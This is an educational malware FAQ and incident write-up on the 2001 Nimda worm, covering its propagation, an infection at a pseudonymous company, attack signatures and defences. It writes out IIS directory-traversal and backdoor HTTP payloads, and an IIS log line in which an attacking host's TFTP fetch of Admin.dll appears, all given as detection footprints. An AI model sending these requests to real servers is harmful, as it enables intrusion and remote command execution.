Security Training
Security Certification
Cyber Security Graduate School
Internet Storm Center
Security Awareness Training
Computer Forensics
Penetration Testing
IT Audit
Software SecurityMalware FAQ: W32.Nimda.A Worm
Author: Tim Vogel
The Exploit
Name
The name of the worm in this attack is the W32.Nimda.A Worm, also known as W32/Nimda@mm, PE_NIMDA.A, I Worm.Nimda, W32/Nimda-A, and Win32.Nimda.A. The virus name is derived from the word
Operating System
The Nimda Worm affects the following operating systems:
- clients running Microsoft Windows 95
- clients running Microsoft Windows 98
- clients running Microsoft Windows ME
- clients running Microsoft Windows NT
- clients running Microsoft Windows 2000
- servers running Windows NT
- servers running Windows 2000
Protocols/Services/Applications
The Nimda Worm uses the following protocols for propagation:
The Nimda Worm uses the following applications for propagation:
Brief Description
The W32.Nimda.A Worm takes advantage of multiple Windows vulnerabilities to propagate. The worm uses three main methods of propagation: email, web, and network shares. Through email, it propagates by sending an attachment that contains worm code, which executes when a user clicks on or previews the attachment. Through the web, a user visiting an infected web site may download the worm code if he has JavaScript enabled on the browser. Through network shares, a user accessing an infected file may get infected. In addition, a user using Trojan Horse versions of infected programs may also be infected.
Variants
There are several variants of the W32.Nimda.A Worm. The following table summarizes the variants and their variations from the W32.Nimda.A Worm as well as other aliases by which the variant is known:
| Variant | Aliases | |
| W32.Nimda.B |
|
W32/Nimda-b, Nimda.B |
| W32.Nimda.C |
|
Nimda.c |
| W32.Nimda.D |
|
Nimda.d |
| W32.Nimda.E |
|
Nimda.e |
References
More information on the Nimda Worm may be found at the following sites:
- Dave Ahmad's post to the SecurityFocus mailing list, BugTraq, on September 18th, 2001, when the worm first appeared, is found at http://online.securityfocus.com/archive/1/215177
- CERT issued the Advisory CA-2001-26 on the Nimda worm which may be found at http://www.cert.org/advisories/CA-2001-26.html.
- Microsoft's official documentation of the worm may be found on their at http://www.microsoft.com/technet/treeview/default.asp?url=/technet/security/virus/nimda.asp. The page also provides links to patches for the vulnerabilities exploited by this worm as well as resources to other Nimda references.
- F-Secure's full detailed analysis of the worm the day after it appeared may be found at http://www.f-secure.com/v-descs/nimda.shtml.
- McAfee summarized the Nimda general worm characteristics at http://vil.mcafee.com/dispVirus.asp?virus_k=99209.
- Symantec's analysis of the worm may be found at http://securityresponse.symantec.com/avcenter/venc/data/w32.nimda.a@mm.html
The Attack
Network
In the above configuration, the internal network is a heterogeneous environment of UNIX and Windows boxes. The firewall is a Cisco PIX. The routers are Cisco 1601s, which flanks the T1 that connects the company to the co-location facility. The Cisco PIX has been configured to block outgoing HTTP traffic except from the web proxy to force users on the internal network to go through the web proxy for web access to the Internet. Exceptions to the block are made for systems used for web proxy testing. Here are the firewall rules that implement this block and the exceptions:
outbound 1 permit 10.200.205.25 255.255.255.255 0 ip outbound 1 permit 10.200.136.0 255.255.255.0 0 ip outbound 1 permit 10.200.89.0 255.255.255.0 0 ip outbound 1 permit 10.200.23.0 255.255.255.0 0 ip outbound 1 permit 10.200.17.0 255.255.255.0 0 ip outbound 1 permit 10.200.50.99 255.255.255.255 0 ip outbound 1 permit 10.200.50.185 255.255.255.255 0 ip outbound 1 permit 10.200.50.206 255.255.255.255 0 ip outbound 1 permit 10.200.203.48 255.255.255.255 0 ip outbound 1 permit 10.200.203.112 255.255.255.255 0 ip outbound 1 permit 10.200.75.10 255.255.255.255 0 ip outbound 1 permit 10.200.99.93 255.255.255.255 0 ip outbound 1 permit 10.200.99.126.255.255.255.255 0 ip outbound 1 permit 10.200.115.1 255.255.255.255 0 ip outbound 1 permit webproxytest 255.255.255.255 0 ip outbound 1 permit 10.200.126.124 255.255.255.255 0 ip outbound 1 permit test2 255.255.255.255 0 ip outbound 1 permit 10.200.34.178 255.255.255.255 0 ip outbound 1 permit 10.200.34.185 255.255.255.255 0 ip outbound 1 permit 10.200.34.191 255.255.255.255 0 ip outbound 1 permit 10.200.210.80 255.255.255.255 0 ip outbound 1 permit 10.200.126.129 255.255.255.255 0 ip outbound 1 permit 10.200.34.192 255.255.255.255 0 ip outbound 1 permit guiltytrc 255.255.255.255 0 ip outbound 1 permit trc11 255.255.255.255 0 ip outbound 1 permit trc12 255.255.255.255 0 ip outbound 1 permit trc55 255.255.255.255 0 ip outbound 1 permit 10.200.34.194 255.255.255.255 0 ip outbound 1 permit 10.200.210.200 255.255.255.255 0 ip outbound 1 permit 10.200.200.170 255.255.255.255 0 ip outbound 1 permit 10.200.210.65 255.255.255.255 0 ip outbound 1 permit 10.200.210.106 255.255.255.255 0 ip outbound 1 permit 10.200.210.84 255.255.255.255 0 ip outbound 1 permit 10.200.203.31 255.255.255.255 0 ip outbound 1 permit 10.200.203.102 255.255.255.255 0 ip outbound 1 permit 10.200.210.69 255.255.255.255 0 ip outbound 1 permit 10.200.210.71 255.255.255.255 0 ip outbound 1 deny 0.0.0.0 0.0.0.0 80 tcp apply (inside) 1 outgoing_src
The web proxy runs on Windows 2000 with the latest security patches. It checks outbound web traffic (web traffic that is initiated from the inside) for viruses and malicious code. It has no ports opened to the Internet.
The mail gateway also runs on Windows 2000 with the latest security patches. It checks incoming email for SPAM content and viruses as well as quarantine any mail messages containing an executable (this can be zip files, screen savers, JPEG files, VB Scripts, and of course .EXE files). It has port 25 opened to the Internet to receive incoming SMTP mail.
Internal SMTP Gateway test systems have port 25 opened to the Internet. Mail destined for these systems do not go through the production mail gateway.
Internal web proxy test systems have no ports opened to the Internet. Outbound web traffic (web traffic initiated from inside the corporate network) does not go through the production web proxy, but goes through the local web proxy. The web proxy runs IIS.
Protocol Description
SMTP
SMTP stands for Simple Mail Transport Protocol. It is a protocol by which mail is transferred between 2 hosts "reliably and efficiently". It establishes a TCP connection to port 25 of the destination host. Jonathan B. Postel at the University of Southern California wrote the following with regards to SMTP in RFC 821:
The SMTP provides mechanisms for the transmission of mail; directly from the sending user's host to the receiving user's host when the two host are connected to the same transport service, or via one or more relay SMTP-servers when the source and destination hosts are not connected to the same transport service.
MIME
MIME stands for Multipurpose Internet Mail Extensions. It is a mail standard that defines the format of mail messages exchanged between different email systems to allow for non-text as well as text message formats, including multimedia formats such as audio and video and other application-specific data.
HTTP
HTTP stands for HyperText Transfer Protocol. It is a standard which specifies the protocol for the transfer of documents over the World Wide Web. It establishes a TCP connection to default port 80 of the destination host. HTTP/1.0 was defined in RFC 1945 and HTTP/1.1 was defined in RFC 2068.
TFTP
TFTP stands for Trivial File Transfer Protocol. It is a very simple connectionless protocol used to transfer files. It communicates over UDP
TCP/IP
TCP/IP stands for Transmission Control Protocol/ Internet Protocol. It is a 4-layer suite of data communication protocols. The 4 layers in the TCP/IP Protocol are the Network Access Layer (equivalent to the Physical Layer in the OSI 7-Layer Model), the Internetwork Layer (equivalent to the Network and Data Link Layers in the OSI 7-Layer Model), the Host-to-Host Transport Layer (equivalent to the combination of the Transport, Session, and Presentation Layers in the OSI 7-Layer Model), and the Application Layer. TCP/IP is the standard of communication in the Internet today.
Internet Explorer
Internet Explorer is a web browser used to display documents and graphics over the World Wide Web. The browser was developed by Microsoft Corporation.
IIS
IIS stands for Internet Information Server. It is a World Wide Web server developed by Microsoft Corporation. It runs on Microsoft's Windows platforms.
How the exploit works
The Nimda Worm takes advantage of multiple Windows vulnerabilities to propagate.
CERT Advisory CA-2001-26 on the Nimda Worm, which can be found at http://www.cert.org/advisories/CA-2001-26.html, describes the propagation methods as follow:
The worm uses three main methods of propagation: email, web, and network shares. Email messages are sent with an attachment called README.EXE. The worm exploits a vulnerability documented in CERT Advisory CA-2001-06. This vulnerability affects Windows systems running Internet Explorer 5.5 SP1 or earlier, with the exception of Internet Explorer 5.01 SP2. Mail clients using a vulnerable IE to read HTML email will automatically execute attachments in the email without giving users an option. Therefore, a system may get infected if a user opens or previews a mail message containing the executable or if a user clicks on the executable. When README.EXE runs, the following occurs (steps are summarized from the F-Secure Analysis of the Nimda Worm ):
- worm copies itself to a temp folder with a random name with the format "MEP*.TMP" where * can be any string
- worm runs with the "-dontrunold" command line option
- worm loads itself as a .DLL library
- worm looks for a specific resource check the resource size to see if it is less than 100
- if resource size is less than 100, it unloads itself; else, it extracts resource to a file and launches resource
- worm gets current time and generates random number
- worm performs arithmetic operations with number and check result
- if result is bigger than worm's counter, delete README*.EXE from temp folder
- worm appends MIME-encoded copy of worm to a pre-defined MIME message to create file with random name in temp folder
- worm looks for and opens EXPLORER process and assigns its process as a remote Explorer thread
- worm creates mutex with name of fsdhqherwqi2001
- worm starts up Winsock services
- worm gets infected host info and sleeps for some time
- when it wakes up, it checks what OS system is running: if OS is NT, worm compacts its memory blocks
- worm copies itself as LOAD.EXE to Windows directory
- worm modifies SYSTEM.INI by adding the following in the [Boot] section after the SHELL variable: explorer.exe load.exe -dontrunold (this step allows the worm to startup when Windows starts)
- worm copies itself as RICHED20.DLL to system folder
- worm sets hidden and system attributes on RICHED20.DLL and LOAD.EXE
- worm enumerates shared resources
- worm starts recursive scan of files on remote systems
- worm looks for .DOC and .EML files on remote systems
- when it finds these files, it copies its binary image with RICHED20.DLL name with system and hidden attributes to folders where these files reside (RICHED20.DLL is used to open OLE files)
- if worm finds document and web files, it creates .EML and .NWS files with the same name as the files found
So, once a system is infected, it will try to resend infected mail messages every 10 days, harvesting email addresses from user's mail messages and from web content files in the user's web cache directory. In addition, it will traverse all the directories in a system (including directories on network shares), creating copies of itself with filenames ending in .EML and .NWS. If it finds files containing web content, it will append the following JavaScript code to the end of these files:
This JavaScript code will execute if a user browses an infected website with JavaScript enabled on his browser, infecting the user's system.
worm also creates Trojan Horse versions of existing applications on target systems. Access of Trojan Horse programs or infected files on the network shares of an infected system may infect the host whose share was infected, thus propagating the worm over network shares.
ally, it will scan the local network looking for backdoors left by other IIS worms or using the directory traversal vulnerability that exists in Windows systems running IIS 4/0 and 5.0. CERT Advisory CA-2001-12.
2396 specifies a standard for on how URL's can be encoded. The RFC allows for encoding octets using the % (percent) sign and hexadecimal characters. The text of RFC 2396 states the encoding as follow:
An escaped octet is encoded as a character triplet, consisting of the percent character "%" followed by the two hexadecimal digits representing the octet code. For example, "%20" is the escaped encoding for the US-ASCII space character
The bug is that IIS decodes some of the input twice. It checks security of the first encoding but uses the results of the second decoding, so a hacker can slip in a file he would like to access in the second decoding and would be able to gain access even if he is not supposed to because IIS uses the security check from the first decoding.
From the system footprints documented in CERT Advisory CA2001-26 , it is reasonable to derive the following HTTP requests that can be used to exploit a vulnerable system that was previously compromised by Code Red II:
http://target/scripts/root.exe?/c+dir http://target/MSADC/root.exe?/c+dir http://target/c/winnt/system32/cmd.exe?/c+dir http://target/d/winnt/system32/cmd.exe?/c+dir
The following are HTTP requests derived from the system footprints can be used to exploit a system vulnerable to the Directory Traversal Vulnerability:
http://target/scripts/..%5c../winnt/system32/cmd.exe?/c+dir http://target /_vti_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe?/c+dir http://target /_mem_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe?/c+dir http://target /msadc/..%5c../..%5c../..%5c/..\xc1\x1c../..\xc1\x1c../..\xc1\x1c../winnt/system32/cmd.exe?/c+dir http://target /scripts/..\xc1\x1c../winnt/system32/cmd.exe?/c+dir http://target /scripts/..\xc0/../winnt/system32/cmd.exe?/c+dir http://target /scripts/..\xc0\xaf../winnt/system32/cmd.exe?/c+dir http://target /scripts/..\xc1\x9c../winnt/system32/cmd.exe?/c+dir http://target /scripts/..%35c../winnt/system32/cmd.exe?/c+dir http://target /scripts/..%35c../winnt/system32/cmd.exe?/c+dir http://target /scripts/..%5c../winnt/system32/cmd.exe?/c+dir http://target /scripts/..%2f../winnt/system32/cmd.exe?/c+dir
The Attack
This document describes an incident that occurred at The Generic Software Company, which, for the sake of simplicity, will be referred to as the GSC for the rest of this document. The GSC was protected from the initial onslaught of the Nimda worm when it first appeared on that fateful Tuesday in September of 2001, because the company implemented a mail gateway which blocks executable files from coming into the company as well as a web proxy which checks incoming traffic for viruses. As virus definitions came out shortly after the worm hit the Internet, the GSC was never compromised by users surfing infected websites.
As with all generic software companies, the GSC has a large population of developers and technical support personnel. Because the web proxy being used by the company is one of the GSC's flagship products, it requires that some developers and technical support personnel be able to test the product around the production web proxy. The system administrators, which for the sake of simplicity will be referred to as TGG (the Good Guys - not to be confused with some
Of course, another thing that all TRC personnel really need is direct access to the Internet for services that they are testing. Since the flagship products of the GSC are a web proxy and a mail gateway, this means at the very least port 25 on some of these systems are opened. Port 80 is not required to be opened to the Internet to test the web proxy product.
To further complicate the picture, TRC personnel, being the extremely technical folks that they are, do not involve TGG in new system installs ("Why! Anyone and their dog can install a system!").
One very fine evening more than 3 months after the initial appearance of the Nimda worm, the manager of TGG was doing some mundane email-checking from home when she noticed how sloooowww everything was. Quickly running a sniffer, she noticed an inordinate amount of ARP requests with many to non existent hosts. The following is a sample sniffer output with hostnames and IP addresses changed to protect the guilty:
guiltytrc.gsc.com -> (broadcast) ARP C Who is 10.200.222.81, 10.200.222.81 ? trc12.gsc.com -> (broadcast) ARP C Who is 10.200.170.177, 10.200.170.177 ? guiltytrc.gsc.com -> (broadcast) ARP C Who is 10.200.106.13, 10.200.106.13 ? guiltytrc.gsc.com -> (broadcast) ARP C Who is 10.200.197.21, 10.200.197.21 ? trc55.gsc.com -> (broadcast) ARP C Who is 10.200.99.69, 10.200.99.69 ? trc55.gsc.com -> (broadcast) ARP C Who is 10.200.238.1, 10.200.238.1 ? trc55.gsc.com -> (broadcast) ARP C Who is 10.200.122.189, 10.200.122.189 ? trc55.gsc.com -> (broadcast) ARP C Who is 10.200.136.17, 10.200.136.17 ? trc55.gsc.com -> (broadcast) ARP C Who is 10.200.20.204, 10.200.20.204 ? trc55.gsc.com -> (broadcast) ARP C Who is 10.200.19.224, 10.200.19.224 ? trc55.gsc.com -> (broadcast) ARP C Who is 10.200.120.228, 10.200.120.228 ? trc55.gsc.com -> (broadcast) ARP C Who is 10.200.18.244, 10.200.18.244 ? guiltytrc.gsc.com -> (broadcast) ARP C Who is 10.200.171.216, 10.200.171.216 ? guiltytrc.gsc.com -> (broadcast) ARP C Who is 10.200.55.149, 10.200.55.149 ? guiltytrc.gsc.com -> (broadcast) ARP C Who is 10.200.0.77, 10.200.0.77 ? guiltytrc.gsc.com -> (broadcast) ARP C Who is 10.200.112.225, 10.200.112.225 ? guiltytrc.gsc.com -> (broadcast) ARP C Who is 10.200.114.185, 10.200.114.185 ? guiltytrc.gsc.com -> (broadcast) ARP C Who is 10.200.118.85, 10.200.118.85 ? guiltytrc.gsc.com -> (broadcast) ARP C Who is 10.200.138.29, 10.200.138.29 ? guiltytrc.gsc.com -> (broadcast) ARP C Who is 10.200.140.225, 10.200.140.225 ? guiltytrc.gsc.com -> (broadcast) ARP C Who is 10.200.228.37, 10.200.228.37 ? guiltytrc.gsc.com -> (broadcast) ARP C Who is 10.200.254.97, 10.200.254.97 ? guiltytrc.gsc.com -> (broadcast) ARP C Who is 10.200.2.18, 10.200.2.18 ? guiltytrc.gsc.com -> (broadcast) ARP C Who is 10.200.1.38, 10.200.1.38 ? trc55.gsc.com -> (broadcast) ARP C Who is 10.200.119.248, 10.200.119.248 ? guiltytrc.gsc.com -> (broadcast) ARP C Who is 10.200.54.168, 10.200.54.168 ? guiltytrc.gsc.com -> (broadcast) ARP C Who is 10.200.193.101, 10.200.193.101 ? guiltytrc.gsc.com -> (broadcast) ARP C Who is 10.200.77.33, 10.200.77.33 ? guiltytrc.gsc.com -> (broadcast) ARP C Who is 10.200.216.220, 10.200.216.220 ? guiltytrc.gsc.com -> (broadcast) ARP C Who is 10.200.216.240, 10.200.216.240 ? guiltytrc.gsc.com -> (broadcast) ARP C Who is 10.200.100.172, 10.200.100.172 ? guiltytrc.gsc.com -> (broadcast) ARP C Who is 10.200.239.105, 10.200.239.105 ? guiltytrc.gsc.com -> (broadcast) ARP C Who is 10.200.123.37, 10.200.123.37 ? guiltytrc.gsc.com -> (broadcast) ARP C Who is 10.200.77.53, 10.200.77.53 ? guiltytrc.gsc.com -> (broadcast) ARP C Who is 10.200.99.192, 10.200.99.192 ? trc12.gsc.com -> (broadcast) ARP C Who is 10.200.71.133, 10.200.71.133 ?
Uh oh! She had seen traffic like this before when Code Red II infiltrated the organization many moons ago! It's a worm!
How would a worm such as Nimda penetrate an organization which filters for viruses on inbound SMTP traffic as well as outbound web access? As we recall, Nimda propagates through email, web, and network shares.
Scenario 1 - Email
The production mail gateway filters incoming mail for viruses and quarantines executables in attachments, so a known virus cannot get in through the production mail gateway. However, SMTP Gateway test systems have direct access from the Internet to the SMTP port (port 25).
If a developer is not filtering for viruses or quarantining executables, a virus can easily penetrate a vulnerable system. Once a virus penetrates a system that is vulnerable to the attack, the only saving grace would be a local anti-virus program. So one of these systems have to have both foopahs before it can be compromised (besides the obvious foopah of having an unpatched system to begin with).
Scenario 2 - Web
The production web proxy scans outbound web traffic for viruses and malicious code. Users are blocked from direct HTTP access out to the Internet by a firewall rule, so a known virus cannot get in through the production web proxy. However, Web Proxy test systems have direct web access outbound to the Internet although not normally HTTP access (port 80) for inbound access (connection initiated from externally).
If a developer is using the test Web Proxy on his local system for web traffic, his outbound web traffic would not be scanned for viruses and malicious code and he can easily become infected if his system is vulnerable to the virus infecting the destination web site.
Scenario 3 - Network Shares
Once a system on the internal network is compromised, it will traverse the directory tree of the victim system, infecting.EXE and web document files on local drives as well as on network shares mounted on the victim machine. If a remote machine with network shares mounted is vulnerable, a user on that system clicking on an infected file will infect that system.. Since the test systems are in the internal network and part of the same NT domain as the rest of the network, the infection can easily spread throughout the entire network.
Scenario 4 - Backdoor Compromises
The final method that the Nimda worm uses is penetration using backdoors left by previous worms such as Code Red II and sadmind/IIS. It selects victim IP addresses based on the following probabilities:
- 50% of the time, an address with the same first two octets will be chosen
- 25% of the time, an address with the same first octet will be chosen
- 25% of the time, a random address will be chosen
This also causes the numerous ARP packets that were seen in the sniffer output of the attack as the worm tries to find backdoors over the network, thus causing a Denial-of-Service attack at the same time.
Signature of the Attack
Since the Nimda worm propagates using known MIME and IIS vulnerabilities, it would leaves some of the same footprints as other worms and viruses that use the same exploits. Here is a system footprint documented by CERT Advisory 2001-26:
GET /scripts/root.exe?/c+dir GET /MSADC/root.exe?/c+dir GET /c/winnt/system32/cmd.exe?/c+dir GET /d/winnt/system32/cmd.exe?/c+dir GET /scripts/..%5c../winnt/system32/cmd.exe?/c+dir GET /_vti_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe?/c+dir GET /_mem_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe?/c+dir GET /msadc/..%5c../..%5c../..%5c/..\xc1\x1c../..\xc1\x1c../..\xc1\x1c../winnt/system32/cmd.exe?/c+dir GET /scripts/..\xc1\x1c../winnt/system32/cmd.exe?/c+dir GET /scripts/..\xc0/../winnt/system32/cmd.exe?/c+dir GET /scripts/..\xc0\xaf../winnt/system32/cmd.exe?/c+dir GET /scripts/..\xc1\x9c../winnt/system32/cmd.exe?/c+dir GET /scripts/..%35c../winnt/system32/cmd.exe?/c+dir GET /scripts/..%35c../winnt/system32/cmd.exe?/c+dir GET /scripts/..%5c../winnt/system32/cmd.exe?/c+dir GET /scripts/..%2f../winnt/system32/cmd.exe?/c+dir
The following lists some of the possible Nimda attack signatures:
- Numerous ARP requests
- HTTP requests containing "%5c" and ".."
- HTTP requests accessing the msdac directory
- HTTP requests accessing membin directory
- HTTP requests accessing the scripts directory
- HTTP requests with CMD.EXE in the request
- TFTP request to get ADMIN.DLL
- HTTP requests accessing the scripts _vti_bin directory
On the infected system, here are some signs of the compromise
- existence of a ROOT.EXE file (left from a previous Code Red II or sadmind/IIS compromise
- a file called ADMIN.DLL in the root directory of the C:\, D:\, or E:\ drives
- presence of .eml or .nws files in many directories
- presence of the following string in IIS logs (a.b.c.d is the IP address of the attacking system; 200 indicates command succeeded):
/c+tftp%20-i%20a.b.c.d%20GET%20Admin.dll%20d:\Admin.dll 200
Protecting Against Nimda
To protect a system against Nimda, the system must have the latest security patches. Patches had been released by Microsoft to address the specific vulnerabilities that Nimda exploits. The following table documents the patches that has been released by Microsoft to address these specific vulnerabilities:
| Exploit | Cert Advisory | Microsoft Patch Location |
| Automatic Execution of Embedded Mime Types | CA-2001-06 | http://www.microsoft.com/windows/ie/download/critical/Q290108/default.asp |
| Directory Traversal | CA-2001-12 | Microsoft IIS 4.0: http://www.microsoft.com/Downloads/Release.asp?ReleaseID=29787 Microsoft IIS 5.0: http://www.microsoft.com/Downloads/Release.asp?ReleaseID=29764 |
Microsoft Critical Update Notification will notify users of critical updates automatically. Information on Microsoft Critical Update Notification can be found at http://windowsupdate.microsoft.com.
Secure IIS (as much as that combination of words is an oxymoron :) by using the IIS Lockdown Tool provided by Microsoft. The tool is available at http://www.microsoft.com/technet/treeview/default.asp?url=/technet/security/tools/tools/locktool.asp. You can also install an application firewall such as the SecureIIS Application Firewall available from eEye Digital Security (http://www.eeye.com/html/Products/SecureIIS/index.html). SecureIIS bases detection on CHAM, or Common Hacking Attack Methods, rather than known signatures, so it is able to detect unknown viruses. SecureIIS was able to detect and block Code Red as a virus before a signature was produced by any other firewall and IDS vendors.
Besides keeping all systems patched, implementing multiple levels of anti virus protection (gateway, mail server, system) and ensuring that DAT files are kept up to date will be a better guarantee that known worms such as Nimda will be caught by one method. Executables should be quarantined at the mail gateway for inspection before being released. Enterprise editions of anti virus programs allow administrators to push out DAT files to eliminate the requirement for users to update their own. System administrators should encourage users to turn off Javascript when surfing the web or implement a web proxy that will catch malicious code.
In summary, to prevent Nimda infiltration:
- Systems must be updated with the latest Microsoft security patches
- Secure IIS with the IIS Lockdown Tool and/or install an application firewall such as eEye Digital Security's SecureIIS.
- Implement multiple levels of anti-virus protection
- Block executables at the mail gateway to prevent unknown worms from propagating through email
- Turn off Javascript on local browsers or implement a web proxy to catch malicious code and viruses
- Close all unnecessary ports (use HTTPS instead of HTTP if possible)
- http://securityresponse.symantec.com/avcenter/venc/data/w32.nimda.a@mm.removal.tool.html
- http://downlad.nai.com/products/macafee-avert/nfrvscan.zip
- http://downlad.nai.com/products/macafee-avert/ePONSC20.ZIP
- ftp://ftp.f-secure.com/anti-virus/tools/fsnimda3.exe
Of course, the safest option to re-install the Operating System and re-apply the latest security patches (usually the safest bet). For administrators, eEye Digital Security also provides a free Nimda Scanner. The Retina Nimda Scanner tool can scan up to 254 IP addresses at once to determine if any systems are vulnerable to Nimda. The tool may be downloaded from http://www.eeye.com/html/Research/Tools/RetinaNimda.exe.
|
|
Check Them Out!
Excellent conference I have a ton of stuff to bring back to my company and clients.
-John S. Macy, Network Design Associates
